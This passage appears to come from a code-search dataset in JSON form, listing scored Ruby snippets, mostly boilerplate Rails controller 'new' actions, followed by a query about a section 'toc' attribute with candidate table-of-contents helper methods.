@search }\n #end\n end", "title": "" }, { "docid": "55f137c33485c9b5baed1721ef122600", "score": "0.63040125", "text": "def new\n @fixturestat = Fixturestat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fixturestat }\n end\n end", "title": "" }, { "docid": "942557637c6d5565859ee0d084aca2ff", "score": "0.63017195", "text": "def new\n @dolgnost = Dolgnost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dolgnost }\n end\n end", "title": "" }, { "docid": "90c025ef7374375c6301f2d9a2070871", "score": "0.62983704", "text": "def new\n @go_term = GoTerm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @go_term }\n end\n end", "title": "" }, { "docid": "15cc131758736a319dda61d64816fe0c", "score": "0.62850225", "text": "def new\n @frete = Frete.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @frete }\n end\n end", "title": "" }, { "docid": "0bc0d061102a08fb3b7e20e82ea3ad65", "score": "0.62829936", "text": "def new\n @serach_word = SerachWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serach_word }\n end\n end", "title": "" }, { "docid": "325202d69f8a92e518545034a2af62b6", "score": "0.6273726", "text": "def new\n @tweetsandwich = Tweetsandwich.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tweetsandwich }\n end\n end", "title": "" }, { "docid": "b07218a78b55f6669e33d3c8991973bf", "score": "0.6267894", "text": "def new\n @stanza = Stanza.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stanza }\n end\n end", "title": "" }, { "docid": "de155108eee08311ec33db94d03efa09", "score": "0.6261495", "text": "def new\n @seed = Seed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seed }\n end\n end", "title": "" }, { "docid": "d63c91b57d0c78b6531fef39ca253e71", "score": "0.62528807", "text": "def new\n @wanted = Wanted.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wanted }\n end\n end", "title": "" }, { "docid": "1fa1b1da68274a1e67f2f6c86ffe24b2", "score": "0.6240157", "text": "def new\n @ftype = Ftype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ftype }\n end\n end", "title": "" }, { "docid": "a22a217b154f51750f9bca58f2526eba", "score": "0.62331325", "text": "def new\n @filtered_word = FilteredWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @filtered_word }\n end\n end", "title": "" }, { "docid": "302dd02e8f47c1cff39c73d065d5ad84", "score": "0.62305456", "text": "def new\n @forest = Forest.new\n @forest.trees.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @forest }\n end\n end", "title": "" }, { "docid": "13cc1bbce6d9733804d9e666d4da43e5", "score": "0.6229871", "text": "def new\n \n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n \n end", "title": "" }, { "docid": "849579ce0d5cb95b726c496489c7a2f9", "score": "0.6229347", "text": "def new\n @keyword = Keyword.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keyword }\n end\n end", "title": "" }, { "docid": "b8e4f60a794aa3e71f8903615aac446c", "score": "0.6228597", "text": "def new\n @dataload_ftp = DataloadFtp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataload_ftp }\n end\n end", "title": "" }, { "docid": "30447f18d897a4621d18c1ac0e18b6b2", "score": "0.6225379", "text": "def new\n @dtest = Dtest.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dtest }\n end\n end", "title": "" }, { "docid": "2d6caf2c3b09fb03de5f1b37f692c2f2", "score": "0.6221433", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tourism_article }\n end\n end", "title": "" }, { "docid": "18f7bc61b9cb30fd22e1189e558bdd88", "score": "0.6218043", "text": "def new\n @dato = Dato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dato }\n end\n end", "title": "" }, { "docid": "198a213650ceb7acfa7c03a5cbfc60ed", "score": "0.6217655", "text": "def new\n @keyword = Keyword.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keyword }\n end\n end", "title": "" }, { "docid": "4770a1d17bc918841c4436d0011b48b3", "score": "0.62071705", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end", "title": "" }, { "docid": "4770a1d17bc918841c4436d0011b48b3", "score": "0.62071705", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end", "title": "" }, { "docid": "4770a1d17bc918841c4436d0011b48b3", "score": "0.62071705", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end", "title": "" }, { "docid": "4770a1d17bc918841c4436d0011b48b3", "score": "0.62071705", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end", "title": "" }, { "docid": "b268072337140fbee2317bb8c05cb07f", "score": "0.62066245", "text": "def new\n @sentence = Sentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sentence }\n end\n end", "title": "" }, { "docid": "49586fc324c5e13233829b6793216514", "score": "0.6202707", "text": "def new\n @page = 'newdoll'\n @doll = current_user.dolls.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doll }\n end\n end", "title": "" }, { "docid": "2d8b3c7edd81ee5ce3eac8537b9cf31d", "score": "0.61997265", "text": "def new\n @feedentry = Feedentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedentry }\n end\n end", "title": "" }, { "docid": "9ca04eeb2c59673fc3f54652aa21438f", "score": "0.61985046", "text": "def new\n @datum = Datum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @datum }\n end\n end", "title": "" }, { "docid": "9ca04eeb2c59673fc3f54652aa21438f", "score": "0.61985046", "text": "def new\n @datum = Datum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @datum }\n end\n end", "title": "" }, { "docid": "d2cf7886c47a25c82049eb4d5cb723c0", "score": "0.61905557", "text": "def new(options) \n Client.get(\"/patterns/new\", :query => options)\n end", "title": "" }, { "docid": "66f2a0aa9b7a9e5736e8305480e3af31", "score": "0.61901516", "text": "def new\n @aadt = Aadt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @aadt }\n end\n end", "title": "" }, { "docid": "a2da68838c65fff5c0a875a9d2f47997", "score": "0.61884767", "text": "def new\n @distraction = Distraction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distraction }\n end\n end", "title": "" }, { "docid": "170729bc60cbcd854eb48ee809081975", "score": "0.6182377", "text": "def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.6180866", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.6180866", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.6180866", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.6180866", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.6180866", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "25c77e4e1bc12abab2a225f157a6bdce", "score": "0.617804", "text": "def new\n @tweet = Tweet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tweet }\n end\n end", "title": "" }, { "docid": "25c77e4e1bc12abab2a225f157a6bdce", "score": "0.617804", "text": "def new\n @tweet = Tweet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tweet }\n end\n end", "title": "" }, { "docid": "922eefbb3ab06385c06b9c148346f1cf", "score": "0.6177296", "text": "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "title": "" }, { "docid": "0b8d005e47fc67083fb6bd270991d74e", "score": "0.6176435", "text": "def new\n @tea = Tea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tea }\n end\n end", "title": "" }, { "docid": "0b8d005e47fc67083fb6bd270991d74e", "score": "0.6176435", "text": "def new\n @tea = Tea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tea }\n end\n end", "title": "" }, { "docid": "a0e0f6c86a1457a190de0f3b15e5844a", "score": "0.6174526", "text": "def new\n @event = Event.find(params[:event_id])\n @term = Term.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @term }\n end\n end", "title": "" }, { "docid": "3ef1f163462f8d3519df7e6dfd251e8a", "score": "0.6172213", "text": "def new\n @article_datum = ArticleDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article_datum }\n end\n end", "title": "" }, { "docid": "f7851496dbd1de6ac9ef3587652bb3d9", "score": "0.6171988", "text": "def new\r\n @antenne = Antenne.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @antenne }\r\n end\r\n end", "title": "" }, { "docid": "2db480b50d15b61ed8cb8ee2dbd872ea", "score": "0.6171888", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @feed }\n end\n end", "title": "" }, { "docid": "c5695e6faf3fed03a4748be4ecdb6850", "score": "0.61635375", "text": "def new\n @search_term = SearchTerm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @search_term }\n end\n end", "title": "" }, { "docid": "f0f5455c256bb05d69d8603d3dfb569e", "score": "0.6162893", "text": "def new\n @tarefa = Tarefa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tarefa }\n end\n end", "title": "" }, { "docid": "cc43d27a962a6f9280e9cc99bb29463b", "score": "0.6162391", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @news_post }\n end\n end", "title": "" }, { "docid": "b48c90f714f191f7b377e76832e42957", "score": "0.6159239", "text": "def new\n @food = Food.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @food }\n end\n end", "title": "" }, { "docid": "61586b66610502b764a155808444eee7", "score": "0.61584073", "text": "def new\n @api_noun = Api::Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @api_noun }\n end\n end", "title": "" }, { "docid": "b6d14193dac9e8810c7b36ea1aa70c4b", "score": "0.61581826", "text": "def new\n @trend = Trend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trend }\n end\n end", "title": "" }, { "docid": "09863e7f5bb18b9f6a7a3ad987a3598d", "score": "0.6157141", "text": "def new\n @trade_search = TradeSearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trade_search }\n end\n end", "title": "" }, { "docid": "ecb51298646b1e4e258acedb7a7b981a", "score": "0.615521", "text": "def new\n @corpus = Corpus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @corpus }\n end\n end", "title": "" }, { "docid": "37e644923b6ee9b07d275a7ba8261a64", "score": "0.6155099", "text": "def new\n @dataload_ga = DataloadGa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataload_ga }\n end\n end", "title": "" }, { "docid": "55654739817e9852d526e557514916a0", "score": "0.6153279", "text": "def new\n @patent = Patent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patent }\n end\n end", "title": "" }, { "docid": "0d6fe38683f2aa6ed8802d02801da882", "score": "0.6153194", "text": "def new\n @fixture = Fixture.new\n\n respond_to do |format|\n format.json { render json: @fixture }\n end\n end", "title": "" }, { "docid": "abad513bb77dc8eb6a50239f8e0f9885", "score": "0.6152353", "text": "def new\n @liverecord = Liverecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @liverecord }\n end\n end", "title": "" }, { "docid": "8c8d690aa2a2ae522f2593faae7e22ef", "score": "0.6152349", "text": "def new\n @fwlist = Fwlist.new\n \t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fwlist }\n end\n end", "title": "" }, { "docid": "a83173640f77272bfb6f58a0a65c7e67", "score": "0.6148769", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "title": "" }, { "docid": "a0fc944bb2df67beb24d15a2f65036db", "score": "0.6147088", "text": "def new\n # Create new news\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "c17cd3b296a7a2284a55ca5ac6c88342", "score": "0.61463666", "text": "def new\n @dvd = Dvd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dvd }\n end\n end", "title": "" }, { "docid": "e1abe26ee8cacc0c76661de3eed1248e", "score": "0.6144872", "text": "def new\n @draft = Draft.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @draft }\n end\n end", "title": "" }, { "docid": "0d7775312fd61160e10a2504b483c4a3", "score": "0.6144417", "text": "def new\n @dilemma = Dilemma.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dilemma }\n end\n end", "title": "" }, { "docid": "7e579536386b08346df74cb51fdcd66d", "score": "0.6143107", "text": "def new\n @lsa_test_word = LsaTestWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lsa_test_word }\n end\n end", "title": "" }, { "docid": "fb368db7b687452d242f7c6be113e630", "score": "0.6140418", "text": "def new\n @flaw = Flaw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flaw }\n end\n end", "title": "" }, { "docid": "42b24fb2e4c7fc6af7df1cd740138711", "score": "0.61371994", "text": "def new\n @dataed = Dataed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataed }\n format.json { render :json => @dataed }\n end\n end", "title": "" }, { "docid": "7dbac0b090063eb55edfcea3c1632755", "score": "0.6135144", "text": "def new\n @nlp = Nlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nlp }\n end\n end", "title": "" }, { "docid": "b23c3d411a5e8c35b41d8585e394a247", "score": "0.6130456", "text": "def new\n @star_fact = Star::Fact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @star_fact }\n end\n end", "title": "" }, { "docid": "810c2f192ff3d937fefa6592eb1e41c7", "score": "0.61281276", "text": "def new\n @word_list = WordList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word_list }\n end\n end", "title": "" }, { "docid": "07804224c5c15a0476fa7aadf74fc107", "score": "0.61258775", "text": "def new\n @namesearch = Namesearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @namesearch }\n end\n end", "title": "" }, { "docid": "5e4536a9ec79c62f338585b6c031c402", "score": "0.6125557", "text": "def new\n @glossary = Glossary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @glossary }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4f09342ab0e7b99d89bcc36b00026e8c", "score": "0.6124673", "text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document }\n end\n end", "title": "" }, { "docid": "4bcd6551092e158c788c75cc23f3a0c6", "score": "0.61238295", "text": "def new\n @trend = Trend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @trend }\n end\n end", "title": "" }, { "docid": "a5fbd08791e53e3c0e101bd473027c94", "score": "0.6123763", "text": "def new\n @trnodo = Trnodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trnodo }\n end\n end", "title": "" } ]
05fa363f9143d586bcdb767836aa2921
5.2.7. Section "toc" attribute
[ { "docid": "6b640ed89bd941a819a6086c622fed11", "score": "0.0", "text": "def toc_sections_check(xml)\n ret = []\n xml.xpath(\"//section[@toc = 'exclude']\").each do |s1|\n s1.xpath(\".//section[@toc = 'include']\").each do |s2|\n ret << \"Section #{label(s2)} with toc=include is included in \" \\\n \"section #{label(s1)} with toc=exclude\"\n end\n end\n ret\n end", "title": "" } ]
[ { "docid": "a5b73f8d9744f7c9b2fb1358f1246105", "score": "0.7781524", "text": "def toc\n\t\t@toc ||= create_string(\"standard_toc\")\n\tend", "title": "" }, { "docid": "e3c3c234ba9d5c555a203aea0cd8d69b", "score": "0.773874", "text": "def toc\n \"* \\n{:toc}\\n\"\n end", "title": "" }, { "docid": "8cd7af13098b862e5eaa96b3eb25c6a8", "score": "0.74697316", "text": "def get_toc\n @toc_ary\n end", "title": "" }, { "docid": "94a034e84d9df126650a707482e9f3f9", "score": "0.7437437", "text": "def dump_toc\n end", "title": "" }, { "docid": "260ef2bfbfda8294e6c0e1ec2be46cd2", "score": "0.73721975", "text": "def document_toc\n toc = []\n doc.walk do |node|\n next unless node.type == :header\n level = node.header_level\n next unless level.between? 2, 3\n text = node.first_child.string_content\n spacer = \" \" * (level - 1)\n toc << \"#{spacer}- [#{text}](##{text.to_slug})\"\n end\n\n toc = toc.join \"\\n\"\n CommonMarker.render_doc(toc).first_child\n end", "title": "" }, { "docid": "e40568f44f5500e5f21228b9b10a9887", "score": "0.7270888", "text": "def toc()\n merge(toc: 'true')\n end", "title": "" }, { "docid": "b53445804ed5e9e4b087bf89924c1c31", "score": "0.70039356", "text": "def dump_toc\n print \"\\n***** TOC\"\n @toc.get_toc.each { |t|\n dump t.get_byte_rec\n } \n end", "title": "" }, { "docid": "d285bab7efcb43e49d29f177dd4c5bd4", "score": "0.689417", "text": "def getTOCpis(logkey='')\n\ttocpicheck = File.read(Bkmkr::Paths.outputtmp_html).scan(/<meta name=\"toc\" content=\"(auto|manual|none)\"\\/>/)\n\tif tocpicheck.nil? or tocpicheck.empty? or !tocpicheck\n\t\ttoc_override = false\n\telse\n\t\ttoc_override = true\n\tend\n\n\treturn toc_override\nrescue => logstring\n\treturn ''\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend", "title": "" }, { "docid": "aebb202b22022a212b055e75034d43e3", "score": "0.68415403", "text": "def toc_helper\n\"\"\"\n#### Table of contents\n\n* KramdownTOC\n{:toc .tock}\"\"\"\nend", "title": "" }, { "docid": "458c609157819ebd0d94d910956ad1e2", "score": "0.68121636", "text": "def toc_menu; end", "title": "" }, { "docid": "e37b27aa7bcfed7c727f7da9b63420a6", "score": "0.68079716", "text": "def generate_toc(contents, level, depth)\n level = DEFAULT_TOC_LEVEL if not level\n levels = (level..(level+depth-1)).to_a.join\n toc = []\n contents.gsub!(/<[h|H][#{levels}]>.*?<\\/[h|H][#{levels}]>/) do |tag|\n name = tag.match(/<[h|H][#{levels}]>(.*?)<\\/[h|H][#{levels}]>/)[1]\n d = tag.match(/<[h|H]([#{levels}])>.*?<\\/[h|H][#{levels}]>/)[1].to_i -\n level\n toc << { :title => name, :depth => d }\n \"<a name=\\\"#{name}\\\">#{tag}</a>\"\n end\n return toc\n end", "title": "" }, { "docid": "3c302da3946b57820e46c2a5ee85136c", "score": "0.67846066", "text": "def toc\n @toc ||= Quire::Toc.new(read_file(toc_file_path))\n end", "title": "" }, { "docid": "fa8fbd6c02b60d9c423a298fae54db32", "score": "0.677595", "text": "def albumToc(toc)\n if @userID == nil \n registerUser\n end\n body = \"<TOC><OFFSETS>\" + toc + \"</OFFSETS></TOC>\"\n data = constructAlbumQueryBody(body, \"ALBUM_TOC\")\n return parseAlbumRES(data)\n end", "title": "" }, { "docid": "1874327c4c3b0a964ff2349018fc2fcf", "score": "0.6775491", "text": "def albumToc(toc)\n if @userID == nil \n registerUser\n end\n body = \"<TOC><OFFSETS>\" + toc + \"</OFFSETS></TOC>\"\n data = constructAlbumQueryBody(body, \"ALBUM_TOC\")\n resp = HTTP.post(@apiURL, data)\n resp = checkRES resp\n\n symbolize(resp[\"RESPONSES\"])\n end", "title": "" }, { "docid": "aeafdae025193e9d98631d22fbbd7aff", "score": "0.67723113", "text": "def with_toc(src)\n toc = \"<div class='toc'>\\n\"\n last_level = 1\n src = src.gsub(/<h(\\d)>(.*)<\\/h\\d>/) do |line|\n level, heading = $1.to_i, $2.strip\n aname = URI.escape(heading)\n toc << \"\\t\"*last_level << \"<ol class='level-#{level-1}'>\\n\" if level > last_level\n toc << \"\\t\"*level << \"</ol>\"*(last_level - level) << \"\\n\" if level < last_level\n toc << \"\\t\"*level << \"<li><a href='##{aname}'>#{heading}</a></li>\\n\"\n last_level = level\n \"<a name='#{aname}'></a>\\n\" << line\n end\n toc << \"\\t\" << \"</ol>\"*(last_level-1) << \"\\n</div>\\n\"\n toc + src\nend", "title": "" }, { "docid": "aeafdae025193e9d98631d22fbbd7aff", "score": "0.67723113", "text": "def with_toc(src)\n toc = \"<div class='toc'>\\n\"\n last_level = 1\n src = src.gsub(/<h(\\d)>(.*)<\\/h\\d>/) do |line|\n level, heading = $1.to_i, $2.strip\n aname = URI.escape(heading)\n toc << \"\\t\"*last_level << \"<ol class='level-#{level-1}'>\\n\" if level > last_level\n toc << \"\\t\"*level << \"</ol>\"*(last_level - level) << \"\\n\" if level < last_level\n toc << \"\\t\"*level << \"<li><a href='##{aname}'>#{heading}</a></li>\\n\"\n last_level = level\n \"<a name='#{aname}'></a>\\n\" << line\n end\n toc << \"\\t\" << \"</ol>\"*(last_level-1) << \"\\n</div>\\n\"\n toc + src\nend", "title": "" }, { "docid": "361dcc48850f5c2b887818eb5ece4d14", "score": "0.676172", "text": "def add_toc\n return if @max_toc_level.zero?\n @html = <<~HTML\n <ac:structured-macro ac:name=\"toc\">\n <ac:parameter ac:name=\"maxLevel\">#{@max_toc_level}</ac:parameter>\n </ac:structured-macro>\n #{@html}\n HTML\n end", "title": "" }, { "docid": "97bdb139a1a3a07e2cc559fd1b03566b", "score": "0.67416614", "text": "def add_table_of_sections\n toc = []\n @context.sections.each do |section|\n if section.title then\n toc << {\n :secname => section.title,\n :href => section.sequence\n }\n end\n end\n\n @values[:toc] = toc unless toc.empty?\n end", "title": "" }, { "docid": "f66a45618669605ece4de975e02179e9", "score": "0.66912633", "text": "def albumToc(toc)\n if @user_id == nil \n registerUser\n end\n body = \"<TOC><OFFSETS>\" + toc + \"</OFFSETS></TOC>\"\n data = constructQueryBody(body, \"ALBUM_TOC\")\n return api(data)\n end", "title": "" }, { "docid": "a9f3376ef9d93df35cb07d246ff0b91e", "score": "0.66776717", "text": "def in_toc?(el)\n @options[:toc_levels].include?(el.options[:level]) && (el.attr['class'] || '') !~ /\\bno_toc\\b/\n end", "title": "" }, { "docid": "d4e5cc8af3b2c42c4c9b827b54b78c3d", "score": "0.662444", "text": "def render_toc(toc)\n @toc = toc\n toc_start\n toc.each { |e| toc_entry(e.name, e.id) }\n toc_end\n end", "title": "" }, { "docid": "be334f19d217fbf573035156d27df2c5", "score": "0.66235644", "text": "def doc_toc(source_filename, someclass = '')\n current_dir = current_page.source_file.sub(/[^\\/]*$/, '')\n tasks_md = File.read \"#{current_dir}/#{source_filename}.html.md\"\n doc = Nokogiri::HTML(markdown_to_html(tasks_md))\n toc = doc.css('#markdown-toc').attr(:id, '')\n\n # Rewrite all links in the ToC (only done if ToC exists)\n toc.css('li a').each do |link|\n link[:href] = \"#{source_filename}/#{link[:href]}\"\n end\n\n # ToC: Either in-page or (otherwise) generated\n toc = toc.any? ? toc : h2_to_toc(doc, source_filename)\n\n toc.attr(:class, \"toc-interpage #{someclass}\")\n end", "title": "" }, { "docid": "ad6f4f383d0ae7c83b1843a86e3eab4b", "score": "0.66205347", "text": "def generate_toc_tree(toc, type, attr)\n sections = Element.new(type, nil, attr.dup)\n sections.attr['id'] ||= 'markdown-toc'\n stack = []\n toc.each do |level, id, children|\n li = Element.new(:li, nil, nil, level: level)\n li.children << Element.new(:p, nil, nil, transparent: true)\n a = Element.new(:a, nil)\n a.attr['href'] = \"##{id}\"\n a.attr['id'] = \"#{sections.attr['id']}-#{id}\"\n a.children.concat(fix_for_toc_entry(Marshal.load(Marshal.dump(children))))\n li.children.last.children << a\n li.children << Element.new(type)\n\n success = false\n until success\n if stack.empty?\n sections.children << li\n stack << li\n success = true\n elsif stack.last.options[:level] < li.options[:level]\n stack.last.children.last.children << li\n stack << li\n success = true\n else\n item = stack.pop\n item.children.pop if item.children.last.children.empty?\n end\n end\n end\n until stack.empty?\n item = stack.pop\n item.children.pop if item.children.last.children.empty?\n end\n sections\n end", "title": "" }, { "docid": "e3d1ace6e49c6b6e89457ed1a4b977c6", "score": "0.66179764", "text": "def process_toc_tag(node)\n node.parent.parent.replace(result[:toc].presence || '')\n end", "title": "" }, { "docid": "8b86d21a8774ba5dc06c7c7dd8639c26", "score": "0.6546493", "text": "def table_of_contents(doc)\n toc = doc.at_css('tableofcontents')\n return if toc.nil?\n label = language_labels[\"contents\"]\n toc.add_previous_sibling(%(<h1 class=\"contents\">#{label}</h1>))\n toc.name = 'div'\n toc['id'] = 'table_of_contents'\n toc.remove_attribute 'depth'\n html = []\n current_depth = 0\n doc.css('div').each do |node|\n case node['class']\n when 'chapter'\n html << '<ul>' if current_depth == 0\n while current_depth > 1\n close_list(html)\n current_depth -= 1\n end\n current_depth = 1\n insert_li(html, node)\n when 'chapter-star'\n html << '<ul>' if current_depth == 0\n while current_depth > 1\n close_list(html)\n current_depth -= 1\n end\n current_depth = 1\n insert_li(html, node)\n when 'section'\n html << '<ul>' if article? && current_depth == 0\n open_list(html) if current_depth == 1\n while current_depth > 2\n close_list(html)\n current_depth -= 1\n end\n current_depth = 2\n insert_li(html, node)\n when 'subsection'\n open_list(html) if current_depth == 2\n while current_depth > 3\n close_list(html)\n current_depth -= 1\n end\n current_depth = 3\n insert_li(html, node)\n end\n end\n toc.add_child(Nokogiri::HTML::DocumentFragment.parse(html.join))\n end", "title": "" }, { "docid": "5d3ca67d701f1263068d3956509ba586", "score": "0.6537323", "text": "def render_toc(doc, data)\n current_charset = charset\n data = to_utf8(current_charset, data)\n\n cover, toc = data.split(\"\\e\\e\\e\") \n if toc.nil?\n toc = cover\n cover = nil\n end\n \n # print cover\n unless cover.nil?\n doc.text_options.update(:wrap => :character, :size => @options[:font_size]*2, :spacing => @options[:spacing] * 2)\n doc.bounding_box [doc.bounds.left, 2*doc.bounds.top/3], :width => doc.bounds.width do\n doc.text cover\n end\n doc.start_new_page\n end\n \n # print toc\n unless toc.nil?\n doc.text_options.update(:wrap => :character, :size => @options[:font_size], :spacing => @options[:spacing])\n toc = cleanup_content_text(toc).split(\"\\e\") \n section_cnt = toc.shift.to_i\n if section_cnt == toc.size \n @log.debug \"Print TOC\"\n # details\n toc.each do |line|\n doc.text line\n end\n doc.start_new_page\n else\n @log.error \"TOC size not equals to number of section! #{toc.size} != #{section_cnt}\"\n end \n end \n end", "title": "" }, { "docid": "b3354f58c6fe4469e0e7ca8154e80bce", "score": "0.6531941", "text": "def rebuild_toc\n # Remove page numbers from TOC\n @dom.css('.MsoToc1 a, .MsoToc2 a, .MsoToc3 a, .MsoToc4 a').each do |item|\n item.inner_html = item.inner_text.sub(/\\A(\\d+\\.)+/, '').sub(/(\\s+\\d+)\\Z/, '').strip\n end\n # Rewrite Toc as ordered list.\n toc_item = @dom.at_css('.MsoToc1')\n previous_toc_level = 0\n new_toc = []\n loop do\n break if toc_item.nil?\n toc_item.inner_html = toc_item.inner_html.sub(/\\n/, ' ')\n class_attr = toc_item.attr('class')\n current_toc_level = class_attr[6].to_i\n new_toc << \"</li>\\n\" if previous_toc_level == current_toc_level\n new_toc << 